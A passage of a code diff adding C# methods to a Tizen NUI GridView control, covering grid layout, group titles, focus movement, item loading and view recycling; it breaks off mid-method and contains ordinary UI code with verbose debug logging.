+        public void AddRegularGrid(int columnCount, int rowCount, int columnWidth, int rowHeight, int groupIndex = -1)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add row x column : ({0} x {1}) rowHeight: {2} , columnWidth: {3} to group {4}", rowCount, columnCount, rowHeight, columnWidth, groupIndex));
+
+            if (groupIndex != -1)
+            {
+                if (groupList.Count == 0)
+                {
+                    Group newGroup = new Group();
+                    newGroup.index = 0;
+                    newGroup.columnList = new List<Column>();
+                    newGroup.itemList = new List<GridItem>();
+                    newGroup.itemIndexToCell = new Dictionary<int, Cell>();
+                    newGroup.startPos = newGroup.endPos = 0;
+                    groupList.Add(newGroup);
+                }
+                else if (!IsGroupIndexValid(groupIndex))
+                {
+                    Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                    return;
+                }
+            }
+
+            if (gridType == GridType.Vertical)
+            {
+                int temp = rowCount;
+                rowCount = columnCount;
+                columnCount = temp;
+            }
+
+            this.rowCnt = rowCount;
+            this.colCnt = columnCount;
+            this.rowH = rowHeight;
+            this.colW = columnWidth;
+
+            if (columnCount == -1)
+            {
+                return;
+            }
+
+            if (groupIndex == -1)
+            {
+                for (int k = 0; k < groupList.Count; k++)
+                {
+                    for (int i = 0; i < columnCount; i++)
+                    {
+                        AddColumn(columnWidth, groupIndex);
+
+                        for (int j = 0; j < rowCount; j++)
+                        {
+                            AddRowToColumn(i, rowHeight, groupIndex);
+                        }
+                    }
+                }
+            }
+            else
+            {
+                for (int i = 0; i < columnCount; i++)
+                {
+                    AddColumn(columnWidth, groupIndex);
+
+                    for (int j = 0; j < rowCount; j++)
+                    {
+                        AddRowToColumn(i, rowHeight, groupIndex);
+                    }
+                }
+            }
+        }
+
+        /// <summary>
+        /// Attach title to the group.
+        /// </summary>
+        /// <param name="titleView">The title view.</param>
+        /// <param name="groupIndex">The group index.</param>
+        public void AttachGroupTitle(View titleView, int groupIndex = 0)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Attach group title to {0}", groupIndex));
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            if (GridType.Horizontal == gridType)
+            {
+                titleView.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+                titleView.PivotPoint = Tizen.NUI.PivotPoint.BottomLeft;
+                titleView.PositionUsesPivotPoint = true;
+                titleView.PositionX = curGroup.startPos;
+                titleView.PositionY = -titleSpace;
+            }
+            else
+            {
+                titleView.PositionX = 0;
+                titleView.PositionY = curGroup.startPos - titleSpace;
+            }
+
+            curGroup.title = titleView;
+            itemGroup.Add(titleView);
+        }
+
+        /// <summary>
+        /// Get group title of specified group index.
+        /// </summary>
+        /// <param name="groupIndex">Group index of GridIndex view.</param>
+        /// <returns>Title view of specified group index.</returns>
+        public View GetGroupTitle(int groupIndex)
+        {
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return null;
+            }
+
+            return groupList[groupIndex].title;
+        }
+
+        /// <summary>
+        /// Set focus group index and item index of GridView.
+        /// </summary>
+        /// <param name="itemIndex">focus item index</param>
+        /// <param name="groupIndex">focus group index</param>
+        public void SetFoucsItemIndex(int itemIndex, int groupIndex = 0)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Set Focus to item {0} of group {1}", itemIndex, groupIndex));
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid item index"));
+                return;
+            }
+
+            if (groupIndex == focusGroupIndex && itemIndex == focusItemIndex)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Already focused"));
+                return;
+            }
+            //if (IsFocused == true)
+            //{
+            //    SetFocus(groupIndex, itemIndex);
+            //}
+            if (HasFocus() == true)
+            {
+                SetFocus(groupIndex, itemIndex);
+            }
+            else
+            {
+                focusGroupIndex = groupIndex;
+                focusItemIndex = itemIndex;
+                focusTagGroupIndex = focusGroupIndex;
+                focusTagItemIndex = focusItemIndex;
+            }
+        }
+
+        /// <summary>
+        /// Get focus group index and item index of GridView.
+        /// </summary>
+        /// <param name="groupIndex">focus group index</param>
+        /// <param name="itemIndex">focus item index</param>
+        public void GetFocusItemIndex(out int groupIndex, out int itemIndex)
+        {
+            groupIndex = focusGroupIndex;
+            itemIndex = focusItemIndex;
+        }
+
+        /// <summary>
+        /// Get loaded item view in GridView.
+        /// </summary>
+        /// <param name="groupIndex">Specified group index</param>
+        /// <param name="itemIndex">Specified item index</param>
+        /// <returns> Return the ItemView, if the item is unloaded, returns null.</returns>
+        public object GetLoadedItemView(int groupIndex, int itemIndex)
+        {
+            GridItem item = null;
+            if (IsGroupIndexValid(groupIndex) == true && IsItemIndexValid(groupIndex, itemIndex))
+            {
+                item = groupList.ElementAt(groupIndex).itemList.ElementAt(itemIndex);
+            }
+
+            return item?.itemView;
+        }
+
+        /// <summary>
+        /// User to do the page move.
+        /// </summary>
+        /// <param name="bAni">Used to control whether support animation.</param>
+        public void MoveNextPage(bool bAni = true)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Move to next page"));
+            PageMove(false, bAni);
+        }
+
+        /// <summary>
+        /// User to do the page move.
+        /// </summary>
+        /// <param name="bAni">Used to control whether support animation.</param>
+        public void MovePrevPage(bool bAni = true)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Move to previous page"));
+            PageMove(true, bAni);
+        }
+
+        /// <summary>
+        /// Update an item.
+        /// </summary>
+        /// <param name="itemIndex">The itemIndex.</param>
+        /// <param name="groupIndex">The groupIndex.</param>
+        public void UpdateItem(int itemIndex, int groupIndex = 0)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Update item {0} of group {1}", itemIndex, groupIndex));
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return;
+            }
+
+            Cell curCell = GetCellByItemIndex(groupIndex, itemIndex);
+            int columnIndex = curCell.columnIndex;
+            
+            if ((groupIndex > onScreenRange.startGroupIndex && groupIndex < onScreenRange.endGroupIndex)
+                || (groupIndex == onScreenRange.startGroupIndex && columnIndex >= onScreenRange.startColumnIndex)
+                || (groupIndex == onScreenRange.endGroupIndex && columnIndex <= onScreenRange.endColumnIndex))
+            {
+                gridBridge.UpdateItem(groupIndex, itemIndex, groupList.ElementAt(groupIndex).itemList.ElementAt(itemIndex).itemView);
+            }
+        }
+        /// <summary>
+        /// Update all items on screen.
+        /// </summary>
+        public void UpdateAllItems()
+        {
+            foreach (GridItem item in curInMemoryItemSet)
+            {
+                gridBridge.UpdateItem(item.groupIndex, item.index, item.itemView);
+            }
+        }
+        /// <summary>
+        /// Get group number of GridView.
+        /// </summary>
+        /// <returns>Groups count</returns>
+        public int GetGroupCount()
+        {
+            return groupList.Count;
+        }
+        /// <summary>
+        /// Get column count of specified group.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <returns>Columns count</returns>
+        public int GetColumnCount(int groupIndex)
+        {
+            Tizen.Log.Fatal("NUI", "... groupIndex = " + groupIndex);
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return INVALID_COUNT; 
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+
+            if (curGroup.columnList == null)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid column list"));
+                return INVALID_COUNT;
+            }
+
+            Tizen.Log.Fatal("NUI", "... curGroup.columnList.Count = " + curGroup.columnList.Count);
+            return curGroup.columnList.Count;
+        }
+        /// <summary>
+        /// Get cell count of specified column of specified group.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="columnIndex">The column index.</param>
+        /// <returns>Cells count</returns>
+        public int GetCellCount(int groupIndex, int columnIndex)
+        {
+            if (!IsColumnIndexValid(groupIndex, columnIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return INVALID_COUNT;
+            }
+
+            Column curColumn = groupList.ElementAt(groupIndex).columnList.ElementAt(columnIndex);
+
+            if (curColumn.cellList == null)
+            {
+                return INVALID_COUNT;
+            }
+
+            return curColumn.cellList.Count;
+        }
+
+ 
+        /// <summary>
+        /// Get item count of a group.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <returns>Items count</returns>
+        public int GetItemCount(int groupIndex)
+        {
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return INVALID_COUNT;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            return curGroup.itemList.Count;
+        }
+        /// <summary>
+        /// Get the GridBridge of GridView.
+        /// </summary>
+        /// <returns>The GridBridge of GridView.</returns>
+        public GridBridge GetBridge()
+        {
+            return gridBridge;
+        }
+        /// <summary>
+        /// Get on screen item range.
+        /// </summary>
+        /// <param name="startGroupIndex">The group index of start range.</param>
+        /// <param name="startItemIndex">The item index of start range.</param>
+        /// <param name="endGroupIndex">The group index of end range.</param>
+        /// <param name="endItemIndex">The item index of end range.</param>
+        public void GetOnscreenRange(out int startGroupIndex, out int startItemIndex, out int endGroupIndex, out int endItemIndex)
+        {
+            startGroupIndex = onScreenRange.startGroupInScrn;
+            startItemIndex = onScreenRange.startItemIndexInScrn;
+            endGroupIndex = onScreenRange.endGroupInScrn;
+            endItemIndex = onScreenRange.endItemIndexInScrn;
+        }
+
+        /// <summary>
+        /// Move focus according to parameter direction
+        /// </summary>
+        /// <param name="direction">Focus move direction, can be "Left", "Right",  "Up" or "Down"</param>
+        public void Move(string direction)
+        {
+            MoveFocus(direction);
+        }
+
+        /// <summary>
+        /// Get screen position of specified item.
+        /// </summary>
+        /// <param name="groupIndex">Group index of linear view.</param>
+        /// <param name="itemIndex">Item index of group.</param>
+        /// <exception cref="System.ArgumentNullException">
+        /// Thrown when groupIndex or item index is invalid.
+        /// </exception>
+        /// <returns>Screen position of specified item.</returns>
+        public Position2D GetItemScreenPosition(int groupIndex, int itemIndex)
+        {
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                throw new ArgumentException("Group index or item index is invalid");
+            }
+
+            GridItem curItem = groupList.ElementAt(groupIndex).itemList.ElementAt(itemIndex);
+            return curItem?.itemView?.ScreenPosition;
+        }
+
+        /// <summary>
+        /// Dispose of GridView.
+        /// </summary>
+        /// <param name="type">Dispose caused type</param>
+        protected override void Dispose(DisposeTypes type)
+        {
+            if (disposed)
+            {
+                return;
+            }
+
+            if (type == DisposeTypes.Explicit)
+            {
+                //Called by User
+                //Release your own managed resources here.
+                //You should release all of your own disposable objects here.
+
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Dispose"));
+                focusMoveAni?.Stop();
+                focusMoveAni?.Dispose();
+                focusMoveAni = null;
+
+                ClearRecycleBin();
+                ResetGroup(0);
+            }
+
+            //Release your own unmanaged resources here.
+            //You should not access any managed member here except static instance.
+            //because the execution order of Finalizes is non-deterministic.
+            //Unreference this from if a static instance refer to this. 
+
+            //You must call base.Dispose(type) just before exit.
+            base.Dispose(type);
+        }
+
+        /// <summary>
+        /// GridView event handler
+        /// </summary>
+        public event EventHandler<GridEventArgs> GridEvent
+        {
+            add
+            {
+                gridEventHandlers += value;
+            }
+
+            remove
+            {
+                gridEventHandlers -= value;
+            }
+        }
+        /// <summary>
+        /// Update when GridView attributes changed.
+        /// </summary>
+        /// <param name="sender">the object</param>
+        /// <param name="e">the args of the event</param>
+        protected void OnRelayoutUpdate(object sender, EventArgs e)
+        {
+            gridWidth = this.SizeWidth;
+            gridHeight = this.SizeHeight;
+            Tizen.Log.Fatal("NUI", "...OnRelayoutUpdateOnRelayoutUpdateOnRelayoutUpdateOnRelayoutUpdate...");
+            if (gridBridge != null)
+            {
+                Load();
+
+                if (HasFocus() == true && curInMemoryItemSet.Count != 0)
+                {
+                    SetFocus(focusGroupIndex, focusItemIndex);
+                }
+            }
+        }
+
+        private void OnListEvent(GridEventArgs e)
+        {
+            if (gridEventHandlers != null)
+            {
+                gridEventHandlers(this, e);
+            }
+        }
+
+        private void Initialize()
+        {
+            ClippingMode = ClippingModeType.ClipChildren;
+
+
+            groupList = new List<Group>();
+            itemGroup = new View();
+            itemGroup.Name = "ItemGroup";
+            itemGroup.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+            itemGroup.PivotPoint = Tizen.NUI.PivotPoint.TopLeft;
+            this.Add(itemGroup);
+
+            itemGroupRect = new Rect(0, 0, 0, 0);
+
+            curInMemoryItemSet = new HashSet<GridItem>();
+            nextInMemoryItemSet = new HashSet<GridItem>();
+
+            lastVisibleArea = new Rect(0, 0, 0, 0);
+            onScreenRange = new Range(-1, -1, -1, -1);
+
+            refXForFocusMove = -1;
+            refYForFocusMove = -1;
+
+            focusGroupIndex = 0;
+            focusItemIndex = 0;
+
+            focusTagGroupIndex = 0;
+            focusTagItemIndex = 0;
+
+            StateRightCircularEnable = false;
+            StateLeftCircularEnable = false;
+            
+
+            focusMoveAni = new LinkerAnimation(itemGroup, 100, 100, 0);
+            focusMoveAni.ViaEvent += OnFocusMoveViaEvent;
+            
+            ScrollBarFadeOutDuration = 1000;
+        }
+
+        private void Load()
+        {
+            Tizen.Log.Fatal("NUI", "...lOAD...");
+            int groupCount = groupList.Count;
+            if (groupCount == 0)
+            {
+                return;
+            }
+
+            for (int i = 0; i < groupCount; i++)
+            {
+                Group curGroup = groupList.ElementAt(i);
+                int dataCount = gridBridge.GetItemCount(i);
+
+                int finalCount = curGroup.realCellCount < dataCount ? curGroup.realCellCount : dataCount;
+
+                int bindedItemCount = curGroup.itemList.Count;
+
+                for (int j = 0; j < finalCount; j++)
+                {
+                    GridItem newItem;
+                    if (j < bindedItemCount)
+                    {
+                        newItem = curGroup.itemList.ElementAt(j);
+                    }
+                    else
+                    {
+                        Cell curCell = curGroup.itemIndexToCell[j];
+                        newItem = new GridItem();
+                        newItem.groupIndex = i;
+                        newItem.index = j;
+                        newItem.rect = curCell.rect;
+                        curGroup.itemList.Add(newItem);
+                    }
+                }
+
+                //add for right move between group when not all columns filled
+                if (finalCount >= 1)
+                {
+                    Cell lastItemCell = GetCellByItemIndex(i, finalCount - 1);
+                    curGroup.lastFilledColumnIndex = lastItemCell.columnIndex;
+                }
+            }
+
+            UpdateItemGroupSize();
+
+            InitItemGroupPosition();
+            UpdateInMemoryItems();
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroup: " + itemGroup.PositionX + ", " + itemGroup.PositionY + ", " + itemGroup.SizeWidth + ", " + itemGroup.SizeHeight);
+        }
+
+        private void UpdateInMemoryItems()
+        {
+            Rect windowRect = new Rect(-itemGroupRect.X, -itemGroupRect.Y, gridWidth, gridHeight);
+
+            List<GridItem> loadItemList = new List<GridItem>();
+            List<GridItem> unloadItemList = new List<GridItem>();
+
+            GetChangedItems(lastVisibleArea, windowRect, ref loadItemList, ref unloadItemList);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>>  loadItemList.Count: " + loadItemList.Count + " unloadItemList.Count: " + unloadItemList.Count);
+            lastVisibleArea.X = windowRect.X;
+            lastVisibleArea.Y = windowRect.Y;
+            lastVisibleArea.Width = windowRect.Width;
+            lastVisibleArea.Height = windowRect.Height;
+
+            foreach (GridItem item in unloadItemList)
+            {
+                UnloadItem(item);
+            }
+
+            foreach (GridItem item in loadItemList)
+            {
+                LoadItem(item);
+            }
+            
+        }
+
+        private void UpdateInMemoryItems(Position itemGroupPos)
+        {
+            Rect windowRect = new Rect(-itemGroupPos.X, -itemGroupPos.Y, gridWidth, gridHeight);
+
+            List<GridItem> loadItemList = new List<GridItem>();
+            List<GridItem> unloadItemList = new List<GridItem>();
+
+            GetChangedItems(lastVisibleArea, windowRect, ref loadItemList, ref unloadItemList);
+            lastVisibleArea.X = windowRect.X;
+            lastVisibleArea.Y = windowRect.Y;
+            lastVisibleArea.Width = windowRect.Width;
+            lastVisibleArea.Height = windowRect.Height;
+
+            foreach (GridItem item in unloadItemList)
+            {
+                UnloadItem(item);
+            }
+
+            foreach (GridItem item in loadItemList)
+            {
+                LoadItem(item);
+            }
+
+        }
+
+        private void UnloadItem(GridItem item, bool bDirectly = false)
+        {
+            Tizen.Log.Fatal("NUI", "item: " + item + " bDirectly: " + bDirectly);
+            itemGroup.Remove(item.itemView);
+
+            if (bDirectly)
+            {
+                gridBridge.UnloadItem(item.groupIndex, item.index, item.itemView);
+            }
+            else
+            {
+                AddRecycleView(item.groupIndex, item.index, item.itemView);
+            }
+            
+            item.itemView = null;
+
+            curInMemoryItemSet.Remove(item);
+        }
+
+        private void LoadItem(GridItem item)
+        {
+            curInMemoryItemSet.Add(item);
+
+            if (item.itemView != null)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]LoadItem item view is null"));
+                return;
+            }
+
+            View temp = GetRecycleView(item.groupIndex,item.index);
+            Tizen.Log.Fatal("NUI", " temp: " + temp);
+            if (temp != null)
+            {
+                item.itemView = temp;
+                gridBridge.UpdateItem(item.groupIndex, item.index, item.itemView);
+            }
+            else
+            {
+                item.itemView = gridBridge.GetItemView(item.groupIndex, item.index);
+
+                item.itemView.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+                item.itemView.PivotPoint = Tizen.NUI.PivotPoint.Center;
+                item.itemView.PositionUsesPivotPoint = false;
+            }
+
+            Tizen.Log.Fatal("NUI", "item.index: " + item.index + " item.rect.X: " + item.rect.X + " item.rect.Y: " + item.rect.Y);
+            item.itemView.Position = new Position(item.rect.X, item.rect.Y, 0.0f);
+            item.itemView.Size2D = new Size2D((int)item.rect.Width, (int)item.rect.Height);
+
+            itemGroup.Add(item.itemView);
+        }
+
+        private void SetViewTypeCount(int typeCount)
+        {
+            if (typeCount < 1)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]SetViewTypeCount type count less than 1"));
+                return;
+            }
+
+            viewTypeCount = typeCount;
+            List<View>[] viewListArray = new List<View>[viewTypeCount];
+
+            for (int i = 0; i < viewTypeCount; i++)
+            {
+                viewListArray[i] = new List<View>();
+            }
+
+            recycledViews = viewListArray;
+        }
+
+        private void AddRecycleView(int groupIndex, int itemIndex, View view)
+        {
+            int viewType = gridBridge.GetItemType(groupIndex, itemIndex);
+
+            if (viewType >= viewTypeCount)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]AddRecycleView viewType larger than viewTypeCount"));
+                return;
+            }
+
+            if (view != null)
+            {
+                view.Hide();
+                view.Scale = new Vector3(1, 1, 1);
+            }
+
+            recycledViews[viewType].Add(view);
+        }
+
+        private View GetRecycleView(int groupIndex, int itemIndex)
+        {
+            int viewType = gridBridge.GetItemType(groupIndex, itemIndex);
+            Tizen.Log.Fatal("NUI", " viewType:" + viewType + " viewTypeCount:" + viewTypeCount);
+
+            if (viewType >= viewTypeCount)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]AddRecycleView viewType larger than viewTypeCount"));
+                return null;
+            }
+
+            View obj = null;
+            int viewCount = recycledViews[viewType].Count;
+            if (viewCount != 0)
+            {
+                obj = recycledViews[viewType][viewCount - 1];
+                recycledViews[viewType].Remove(obj);
+            }
+
+            if (obj != null)
+            {
+                obj.Show();
+            }
+
+            return obj;
+        }
+
+        private void ClearRecycleBin()
+        {
+            for (int i = 0; i < viewTypeCount; i++)
+            {
+                for (int j = 0; j < recycledViews[i].Count; j++)
+                {
+                    UnloadRecycledView(i, recycledViews[i][j]);
+                }
+
+                recycledViews[i].Clear();
+            }
+        }
+
+        private void UnloadRecycledView(int viewType, View view)
+        {
+            itemGroup.Remove(view);
+            gridBridge.UnloadItemByViewType(viewType, view);
+        }
+
+        private void GetChangedItems(Rect aLastVisibleArea, Rect curVisibleArea, ref List<GridItem> loadItem, ref List<GridItem> unloadItem)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>>  aLastVisibleArea.X: " + aLastVisibleArea.X + " aLastVisibleArea.Y: " + aLastVisibleArea.Y + " aLastVisibleArea.Width: " + aLastVisibleArea.Width + " aLastVisibleArea.Height: " + aLastVisibleArea.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>>  curVisibleArea.X: " + curVisibleArea.X + " curVisibleArea.Y: " + curVisibleArea.Y + " curVisibleArea.Width: " + curVisibleArea.Width + " curVisibleArea.Height: " + curVisibleArea.Height);
+            GetOnscreenRange(curVisibleArea, ref onScreenRange);
+
+            //Adjust the new start column: if the start column has items which are merge_hidden, 
+            //find the item's smalllest start column as the new start column.
+            Column startColumn = groupList.ElementAt(onScreenRange.startGroupIndex).columnList.ElementAt(onScreenRange.startColumnIndex);
+            int cellCount = startColumn.cellList.Count;
+
+            //save new range items to list
+            nextInMemoryItemSet.Clear();
+            GetItemsInRange(onScreenRange, ref nextInMemoryItemSet);
+
+            loadItem = nextInMemoryItemSet.Except(curInMemoryItemSet).ToList();
+            unloadItem = curInMemoryItemSet.Except(nextInMemoryItemSet).ToList();
+        }
+
+        private void GetOnscreenRange(Rect visibleArea, ref Range range, bool bAllInArea = false)
+        {
+            Cell focusedCell = GetCellByItemIndex(focusGroupIndex, focusItemIndex);
+
+            int focusColumnIndex = focusedCell.columnIndex;
+
+            float areaStartPos, areaEndPos, focusedCellStart, focusedCellEnd;
+            if (GridType.Horizontal == gridType)
+            {
+                areaStartPos = visibleArea.X;
+                areaEndPos = visibleArea.X + visibleArea.Width;
+                focusedCellStart = focusedCell.rect.X;
+                focusedCellEnd = focusedCell.rect.X + focusedCell.rect.Width;
+            }
+            else
+            {
+                areaStartPos = visibleArea.Y;
+                areaEndPos = visibleArea.Y + visibleArea.Height;
+                focusedCellStart = focusedCell.rect.Y;
+                focusedCellEnd = focusedCell.rect.Y + focusedCell.rect.Height;
+            }
+
+            bool bStartFound = false, bEndFound = false;
+
+            int groupCount = groupList.Count;
+            //find start range
+            if ((bAllInArea == true && focusedCellStart < areaStartPos)
+                || (bAllInArea == false && focusedCellEnd < areaStartPos))
+            {
+               for (int i = focusGroupIndex; i < groupCount && bStartFound == false; i++)
+               {
+                   Group curGroup = groupList.ElementAt(i);
+                   int startColumnIndex = (i == focusItemIndex) ? focusColumnIndex : 0;
+                   int columnCount = curGroup.columnList.Count;
+                   for (int j = startColumnIndex; j < columnCount; j++)
+                   {
+                       Column curColumn = curGroup.columnList.ElementAt(j);
+                       if (true == bAllInArea)
+                       {
+                           if (curColumn.startPos >= areaStartPos)
+                           {
+                               range.startGroupIndex = i;
+                               range.startColumnIndex = j;
+                               bStartFound = true;
+                               break;
+                           }
+                       }
+                       else
+                       {
+                           if (curColumn.endPos > areaStartPos)
+                           {
+                               range.startGroupIndex = i;
+                               range.startColumnIndex = j;
+                               bStartFound = true;
+                               break;
+                           }
+                       }
+                   }
+               }
+            }
+            else
+            {
+                for (int i = focusGroupIndex; i >= 0 && bStartFound == false; i--)
+                {
+                    Group curGroup = groupList.ElementAt(i);
+                    int columnCount = curGroup.columnList.Count;
+                    int startColumnIndex = (i == focusItemIndex) ? focusColumnIndex : columnCount - 1;
+                    for (int j = startColumnIndex; j >= 0; j--)
+                    {
+                        Column curColumn = curGroup.columnList.ElementAt(j);
+                        if (curColumn.startPos <= areaStartPos)
+                        {
+                            if (bAllInArea == true)
+                            {
+                                if (j == columnCount - 1)
+                                {
+                                    range.startGroupIndex = i + 1;
+                                    range.startColumnIndex = 0;
+                                }
+                                else
+                                {
+                                    range.startGroupIndex = i;
+                                    range.startColumnIndex = j + 1;
+                                }
+
+                                bStartFound = true;
+                                break;
+                            }
+                            else
+                            {
+                                if (curColumn.endPos > areaStartPos)
+                                {
+                                    range.startGroupIndex = i;
+                                    range.startColumnIndex = j;
+                                }
+                                else
+                                {
+                                    if (j == columnCount - 1)
+                                    {
+                                        range.startGroupIndex = i + 1;
+                                        range.startColumnIndex = 0;
+                                    }
+                                    else
+                                    {
+                                        range.startGroupIndex = i;
+                                        range.startColumnIndex = j + 1;
+                                    }
+                                }
+
+                                bStartFound = true;
+                                break;
+                            }
+                        }
+                    }
+                }
+            }
+
+            if (bStartFound == false)
+            {
+                range.startGroupIndex = 0;
+                range.startColumnIndex = 0;
+            }
+
+            //find end range
+            if ((bAllInArea == true && focusedCellEnd >= areaEndPos)
+                || (bAllInArea == false && focusedCellStart >= areaEndPos))
+            {
+                for (int i = focusGroupIndex; i >= 0 && bEndFound == false; i--)
+                {
+                    Group curGroup = groupList.ElementAt(i);
+                    int columnCount = curGroup.columnList.Count;
+                    int startColumnIndex = (i == focusItemIndex) ? focusColumnIndex : columnCount - 1;
+                    for (int j = startColumnIndex; j >= 0; j--)
+                    {
+                        Column curColumn = curGroup.columnList.ElementAt(j);
+                        if (bAllInArea == true)
+                        {
+                            if (curColumn.endPos <= areaEndPos)
+                            {
+                                range.endGroupIndex = i;
+                                range.endColumnIndex = j;
+                                bEndFound = true;
+                                break;
+                            }
+                        }
+                        else
+                        {
+                            if (curColumn.startPos <= areaEndPos)
+                            {
+                                range.endGroupIndex = i;
+                                range.endColumnIndex = j;
+                                bEndFound = true;
+                                break;
+                            }
+                        }
+                    }
+                }
+            }
+            else
+            {
+                for (int i = focusGroupIndex; i < groupCount && bEndFound == false; i++)
+                {
+                    Group curGroup = groupList.ElementAt(i);
+                    int startColumnIndex = (i == focusItemIndex) ? focusColumnIndex : 0;
+                    int columnCount = curGroup.columnList.Count;
+                    for (int j = startColumnIndex; j < columnCount; j++)
+                    {
+                        Column curColumn = curGroup.columnList.ElementAt(j);
+                        if (curColumn.endPos >= areaEndPos)
+                        {
+                            if (curColumn.startPos < areaEndPos)
+                            {
+                                range.endGroupIndex = i;
+                                range.endColumnIndex = j;
+                            }
+                            else
+                            {
+                                if (j == 0)
+                                {
+                                    range.endGroupIndex = i - 1;
+                                    range.endColumnIndex = groupList.ElementAt(i - 1).columnList.Count - 1; 
+                                }
+                                else
+                                {
+                                    range.endGroupIndex = i;
+                                    range.endColumnIndex = j - 1;
+                                }
+                            }
+
+                            bEndFound = true;
+                            break;
+                        }
+                    }
+                }
+            }
+
+            if (bEndFound == false)
+            {
+                range.endGroupIndex = groupCount - 1;
+                range.endColumnIndex = groupList.ElementAt(range.endGroupIndex).columnList.Count - 1;
+            }
+
+            range.startGroupInScrn = range.startGroupIndex;
+            range.startColumnInScrn = range.startColumnIndex;
+            range.endGroupInScrn = range.endGroupIndex;
+            range.endColumnInScrn = range.endColumnIndex;
+            
+            //get on screen start and end item index
+            Group startGroup = groupList.ElementAt(range.startGroupInScrn);
+            Column startColumn = startGroup.columnList.ElementAt(range.startColumnInScrn);
+            Cell startCell = startColumn.cellList.ElementAt(0);
+            range.startItemIndexInScrn = startCell.itemIndex;
+            if (range.startItemIndexInScrn >= startGroup.itemList.Count)
+            {
+                range.startItemIndexInScrn = startGroup.itemList.Count - 1;
+            }
+
+            Group endGroup = groupList.ElementAt(range.endGroupInScrn);
+            Column endColumn = endGroup.columnList.ElementAt(range.endColumnInScrn);
+            Cell endCell = endColumn.cellList.ElementAt(endColumn.cellList.Count - 1);
+            range.endItemIndexInScrn = endCell.itemIndex;
+            if (range.endItemIndexInScrn >= endGroup.itemList.Count)
+            {
+                range.endItemIndexInScrn = endGroup.itemList.Count - 1;
+            }
+
+            //add buffer columns
+            int frontBufferCount = preloadFrontColumnSize;
+            while (frontBufferCount-- > 0)
+            {
+                if (range.startColumnIndex > 0)
+                {
+                    range.startColumnIndex--;
+                }
+                else
+                {
+                    if (range.startGroupIndex > 0)
+                    {
+                        range.startGroupIndex--;
+                        range.startColumnIndex = groupList.ElementAt(range.startGroupIndex).columnList.Count - 1;
+                    }
+                    else
+                    {
+                        break;
+                    }
+                }
+            }
+
+            int backBufferCount = preloadBackColumnSize;
+            while (backBufferCount-- > 0)
+            {
+                if (range.endColumnIndex < groupList.ElementAt(range.endGroupIndex).columnList.Count - 1)
+                {
+                    range.endColumnIndex++;
+                }
+                else
+                {
+                    if (range.endGroupIndex < groupList.Count - 1)
+                    {
+                        range.endGroupIndex++;
+                        range.endColumnIndex = 0;
+                    }
+                    else
+                    {
+                        break;
+                    }
+                }
+            }
+        }
+        
+        private void GetItemsInRange(Range range, ref HashSet<GridItem> itemSet)
+        {
+            for (int i = range.startGroupIndex; i <= range.endGroupIndex; i++)
+            {
+                Group curGroup = groupList.ElementAt(i);
+                int startColumnIndex = (i == range.startGroupIndex) ? range.startColumnIndex : 0;
+                int endColumnIndex = (i == range.endGroupIndex) ? range.endColumnIndex : curGroup.columnList.Count - 1;
+
+                for (int j = startColumnIndex; j <= endColumnIndex; j++)
+                {
+                    Column curColumn = curGroup.columnList.ElementAt(j);
+
+                    for (int k = 0; k < curColumn.cellList.Count; k++)
+                    {
+                        Cell curCell = curColumn.cellList.ElementAt(k);
+                        if (curCell.itemIndex < curGroup.itemList.Count)
+                        {
+                            itemSet.Add(curGroup.itemList.ElementAt(curCell.itemIndex));
+                        }
+                    }
+                }
+            }
+        }
+
+        private void MoveFocus(string direction)
+        {
+            string logicalDirection = GetLogicalDirection(direction);
+            MoveFocus(logicalDirection, focusTagGroupIndex, focusTagItemIndex);
+        }
+
+        // Get the specific groupIndex,itemIndex neighbor item according to direction
+        private GridItem GetItemByDirection(string direction, int fromGroupIndex, int fromItemIndex)
+        {
